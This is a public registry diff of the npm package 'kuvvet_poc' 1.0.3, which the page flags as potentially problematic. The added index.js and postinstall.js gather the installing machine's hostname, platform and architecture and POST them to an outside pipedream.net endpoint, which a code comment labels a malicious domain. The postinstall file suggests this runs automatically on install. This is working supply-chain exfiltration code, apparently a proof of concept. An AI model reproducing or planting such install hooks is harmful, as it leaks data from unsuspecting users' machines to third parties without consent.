kuvvet_poc 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kuvvet_poc might be problematic. Click here for more details.
- package/index.js +30 -0
- package/package.json +13 -0
- package/postinstall.js +37 -0
package/index.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
// Makinenin hostname bilgisini al
|
5
|
+
const hostname = os.hostname();
|
6
|
+
|
7
|
+
// interact.sh domainine hostname bilgisini gönder
|
8
|
+
const data = JSON.stringify({ hostname });
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'eot71niwxzb3jfj.m.pipedream.net',
|
12
|
+
port: 443,
|
13
|
+
path: '/',
|
14
|
+
method: 'POST',
|
15
|
+
headers: {
|
16
|
+
'Content-Type': 'application/json',
|
17
|
+
'Content-Length': data.length,
|
18
|
+
},
|
19
|
+
};
|
20
|
+
|
21
|
+
const req = https.request(options, (res) => {
|
22
|
+
console.log(`Status: ${res.statusCode}`);
|
23
|
+
});
|
24
|
+
|
25
|
+
req.on('error', (error) => {
|
26
|
+
console.error(`Error: ${error.message}`);
|
27
|
+
});
|
28
|
+
|
29
|
+
req.write(data);
|
30
|
+
req.end();
|
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
// Bilgi toplama
|
5
|
+
const hostname = os.hostname();
|
6
|
+
const platform = os.platform();
|
7
|
+
const arch = os.arch();
|
8
|
+
|
9
|
+
// Veriyi JSON formatına çevir
|
10
|
+
const data = JSON.stringify({
|
11
|
+
hostname: hostname,
|
12
|
+
platform: platform,
|
13
|
+
architecture: arch,
|
14
|
+
});
|
15
|
+
|
16
|
+
const options = {
|
17
|
+
hostname: 'eot71niwxzb3jfj.m.pipedream.net', // Zararlı domain
|
18
|
+
port: 443,
|
19
|
+
path: '/',
|
20
|
+
method: 'POST',
|
21
|
+
headers: {
|
22
|
+
'Content-Type': 'application/json',
|
23
|
+
'Content-Length': data.length,
|
24
|
+
},
|
25
|
+
};
|
26
|
+
|
27
|
+
// HTTP isteği gönder
|
28
|
+
const req = https.request(options, (res) => {
|
29
|
+
console.log(`Postinstall script executed. Status code: ${res.statusCode}`);
|
30
|
+
});
|
31
|
+
|
32
|
+
req.on('error', (error) => {
|
33
|
+
console.error(`Error during postinstall: ${error.message}`);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(data);
|
37
|
+
req.end();
|